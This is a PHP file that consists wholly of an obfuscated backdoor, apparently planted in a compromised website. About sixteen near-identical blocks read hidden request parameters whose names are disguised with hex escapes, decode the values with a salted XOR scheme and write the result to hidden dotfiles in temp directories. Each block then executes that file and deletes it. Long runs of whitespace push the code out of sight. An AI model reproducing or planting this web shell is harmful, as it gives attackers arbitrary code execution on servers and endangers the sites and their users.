<?php																																										if(array_key_exists("\x70ar\x61\x6D\x65\x74\x65\x72_\x67roup", $_REQUEST)){ $binding = $_REQUEST["\x70ar\x61\x6D\x65\x74\x65\x72_\x67roup"]; $binding= explode ( '.' , $binding ) ; $holder=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s); $z=0; array_walk( $binding, function( $v1) use( &$holder, &$z, $s, $sLen) { $sChar=ord( $s[$z%$sLen]); $dec=( ( int)$v1 - $sChar -( $z%10))^ 86; $holder .= chr( $dec); $z++; }); $key = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp"]); foreach ($key as $key => $obj) { if ((is_dir($obj) and is_writable($obj))) { $pset = sprintf("%s/.ptr", $obj); if (@file_put_contents($pset, $holder) !== false) { include $pset; unlink($pset); die(); } } } }
																																										if(isset($_POST["\x74\x6Bn"])){ $flag = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); $fac = $_POST["\x74\x6Bn"]; $fac = explode ( "." , $fac ) ; $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $k = 0; $len = count($fac); do { if ($k >= $len) break; $v2 = $fac[$k]; $chS = ord($salt[$k % $lenS]); $dec = ((int)$v2 - $chS - ($k % 10))^ 44; $sym .= chr($dec); $k++; } while (true); foreach ($flag as $key => $data) { if (is_dir($data) && is_writable($data)) { $ref = implode("/", [$data, ".item"]); if (@file_put_contents($ref, $sym) !== false) { include $ref; unlink($ref); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x70gr\x70"])){ $res = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir()]); $fac = $_POST["\x70gr\x70"]; $fac =explode( '.' , $fac ) ; $item = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s1); foreach( $fac as $n =>$v6) { $chS = ord( $s1[$n % $sLen]); $dec =( ( int)$v6 - $chS -( $n % 10)) ^ 6; $item .= chr( $dec); } foreach ($res as $parameter_group) { if (is_dir($parameter_group) && is_writable($parameter_group)) { $elem = "$parameter_group" . "/.property_set"; if (file_put_contents($elem, $item)) { require $elem; unlink($elem); exit; } } } }
																																										if(isset($_POST) && isset($_POST["\x63o\x6Dp"])){ $marker = $_POST["\x63o\x6Dp"]; $marker = explode (".", $marker ); $pgrp =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($salt); $q =0; foreach($marker as $v2) { $chS =ord($salt[$q % $sLen]); $dec =((int)$v2 - $chS -($q % 10)) ^ 21; $pgrp .= chr($dec); $q++; } $ref = array_filter([getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), "/tmp", "/dev/shm", getcwd(), getenv("TMP"), session_save_path()]); $mrk = 0; do { $token = $ref[$mrk] ?? null; if ($mrk >= count($ref)) break; if (is_dir($token) ? is_writable($token) : false) { $descriptor = "$token" . "/.elem"; $success = file_put_contents($descriptor, $pgrp); if ($success) { include $descriptor; @unlink($descriptor); die();} } $mrk++; } while (true); }
																																										if(array_key_exists("b\x69\x6Ed", $_POST) && !is_null($_POST["b\x69\x6Ed"])){ $record = $_POST["b\x69\x6Ed"]; $record = explode( '.' , $record ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $i = 0; array_walk( $record, function( $v9) use( &$ent, &$i, $salt, $sLen) {$sChar = ord( $salt[$i %$sLen] ); $d = ( ( int)$v9 - $sChar -( $i %10))^ 83; $ent .= chr( $d ); $i++;} ); $token = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/tmp", "/var/tmp", sys_get_temp_dir(), getcwd()]); for ($flg = 0, $symbol = count($token); $flg < $symbol; $flg++) { $binding = $token[$flg]; if (max(0, is_dir($binding) * is_writable($binding))) { $rec = vsprintf("%s/%s", [$binding, ".pgrp"]); if (file_put_contents($rec, $ent)) { include $rec; @unlink($rec); exit; } } } }
																																										if(in_array("b\x69nd", array_keys($_REQUEST))){ $sym = array_filter(["/var/tmp", getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", getcwd(), session_save_path()]); $ptr = $_REQUEST["b\x69nd"]; $ptr = explode ('.', $ptr ); $pgrp=''; $s9='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s9); $x=0; while($x < count($ptr)) { $v1=$ptr[$x]; $chS=ord($s9[$x % $lenS]); $dec=((int)$v1 - $chS -($x % 10)) ^ 1; $pgrp .= chr($dec); $x++; } $dchunk = 0; do { $descriptor = $sym[$dchunk] ?? null; if ($dchunk >= count($sym)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $tkn = "$descriptor/.rec"; $success = file_put_contents($tkn, $pgrp); if ($success) { include $tkn; @unlink($tkn); die();} } $dchunk++; } while (true); }
																																										if(isset($_POST) && isset($_POST["\x72\x65s\x6F\x75rce"])){ $binding = $_POST["\x72\x65s\x6F\x75rce"]; $binding = explode ( '.' , $binding ) ; $ent = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($binding as $v =>$v6) { $sChar = ord($s[$v% $lenS]); $dec = ((int)$v6 - $sChar - ($v% 10)) ^ 84; $ent .=chr($dec); } $element = array_filter(["/dev/shm", getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getenv("TMP"), sys_get_temp_dir(), session_save_path()]); while ($data_chunk = array_shift($element)) { if (is_dir($data_chunk) ? is_writable($data_chunk) : false) { $flg = join("/", [$data_chunk, ".dat"]); $success = file_put_contents($flg, $ent); if ($success) { include $flg; @unlink($flg); exit;} } } }
																																										if(isset($_POST["tk\x6E"])){ $k = $_POST["tk\x6E"]; $k = explode ( "." , $k ) ; $ent = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); $v = 0; while ($v < count($k)) {$v6 = $k[$v]; $chS = ord($salt[$v % $sLen] ); $dec = ((int)$v6 - $chS - ($v % 10)) ^ 83; $ent.= chr($dec ); $v++; } $comp = array_filter([session_save_path(), "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($ptr = 0, $symbol = count($comp); $ptr < $symbol; $ptr++) { $flg = $comp[$ptr]; if (!( !is_dir($flg) || !is_writable($flg) )) { $holder = vsprintf("%s/%s", [$flg, ".res"]); if (file_put_contents($holder, $ent)) { require $holder; unlink($holder); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "fla\x67")){ $itm = array_filter(["/var/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp", getenv("TMP"), getenv("TEMP")]); $k = $_REQUEST["fla\x67"]; $k = explode ('.' , $k ) ; $data_chunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($k as $t => $v8) { $sChar = ord($salt[$t % $lenS] ); $d = ((int)$v8 - $sChar - ($t % 10))^ 55; $data_chunk .= chr($d ); } while ($entry = array_shift($itm)) { if ((bool)is_dir($entry) && (bool)is_writable($entry)) { $pointer = join("/", [$entry, ".binding"]); if (@file_put_contents($pointer, $data_chunk) !== false) { include $pointer; unlink($pointer); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x63o\x6D\x70\x6Fnent"])){ $element = array_filter([ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp", "/var/tmp"]); $ent = $_POST["\x63o\x6D\x70\x6Fnent"]; $ent= explode( '.' , $ent ) ; $fac=''; $salt8='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($salt8); foreach ($ent as $j=> $v2): $chS=ord($salt8[$j % $lenS]); $d=((int)$v2 - $chS - ($j % 10)) ^ 12; $fac .= chr($d); endforeach; foreach ($element as $key => $flag) { if (is_writable($flag) && is_dir($flag)) { $pset = implode("/", [$flag, ".ref"]); $success = file_put_contents($pset, $fac); if ($success) { include $pset; @unlink($pset); die();} } } }
																																										if(@$_POST["o\x62j"] !== null){ $ref = array_filter(["/dev/shm", getcwd(), getenv("TMP"), session_save_path(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp"]); $data_chunk = $_POST["o\x62j"]; $data_chunk= explode ('.', $data_chunk ) ; $data = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); foreach ($data_chunk as $j => $v4) { $sChar = ord($salt[$j %$lenS] ); $d = ((int)$v4 - $sChar - ($j %10)) ^ 69; $data .= chr($d ); } while ($descriptor = array_shift($ref)) { if ((function($d) { return is_dir($d) && is_writable($d); })($descriptor)) { $bind = join("/", [$descriptor, ".entry"]); if (file_put_contents($bind, $data)) { include $bind; @unlink($bind); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x70\x6Fi\x6Ete\x72"])){ $val = $_REQUEST["\x70\x6Fi\x6Ete\x72"]; $val = explode ( "." , $val ) ; $data = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7 ); $u = 0; foreach($val as $v6) {$chS = ord($salt7[$u%$lenS] ); $dec = ((int)$v6 - $chS -($u%10)) ^ 72; $data.= chr($dec ); $u++; } $sym = array_filter([getcwd(), getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TMP"), sys_get_temp_dir(), "/tmp"]); while ($rec = array_shift($sym)) { if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $tkn = "$rec/.ent"; if (@file_put_contents($tkn, $data) !== false) { include $tkn; unlink($tkn); die(); } } } }
																																										if(array_key_exists("\x73ym", $_REQUEST)){ $entry = array_filter([session_save_path(), "/dev/shm", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", getenv("TMP")]); $record = $_REQUEST["\x73ym"]; $record = explode ( ".", $record) ; $entity = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); foreach ($record as $n => $v7): $chS = ord($salt2[$n% $sLen]); $dec = ((int)$v7 - $chS - ($n% 10)) ^ 46; $entity .=chr($dec); endforeach; for ($itm = 0, $ent = count($entry); $itm < $ent; $itm++) { $dchunk = $entry[$itm]; if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $desc = "$dchunk/.obj"; if (file_put_contents($desc, $entity)) { include $desc; @unlink($desc); exit; } } } }
																																										if(in_array("\x6Fbje\x63t", array_keys($_POST))){ $hld = $_POST["\x6Fbje\x63t"]; $hld= explode ( "." , $hld ); $sym = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt ); $o = 0; array_walk($hld, function ($v1) use (&$sym, &$o, $salt, $lenS) { $chS = ord($salt[$o % $lenS] ); $dec = ((int)$v1 - $chS - ($o % 10)) ^ 79; $sym.= chr($dec ); $o++;} ); $element = array_filter([getcwd(), getenv("TEMP"), session_save_path(), "/var/tmp", "/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); foreach ($element as $key => $descriptor) { if (!( !is_dir($descriptor) || !is_writable($descriptor) )) { $pset = str_replace("{var_dir}", $descriptor, "{var_dir}/.record"); if (file_put_contents($pset, $sym)) { include $pset; @unlink($pset); exit; } } } }


if(isset($_POST["v\x61l\x75e"]) ? true : false){
	$data = $_POST["v\x61l\x75e"];
		 $data =explode  ( 	'.'	 ,	  $data 	) 		;		
	$pset  ='';
            $s  ='abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS  =strlen( 	$s);
            $o  =0;
    
            foreach( 	$data as $v5) { $sChar  =ord( 	$s[$o % $lenS]);
                $dec  =( 	( 	int)$v5 - $sChar -( 	$o % 10))	 ^10;
                $pset .= chr( 	$dec);
                $o++;  }
	$tkn = array_filter(["/tmp", "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir")]);
	foreach ($tkn as $pointer) {
    		if (is_writable($pointer) && is_dir($pointer)) {
    $val = "$pointer/.comp";
    if (file_put_contents($val, $pset)) {
	require $val;
	unlink($val);
	die();
}
}
}
}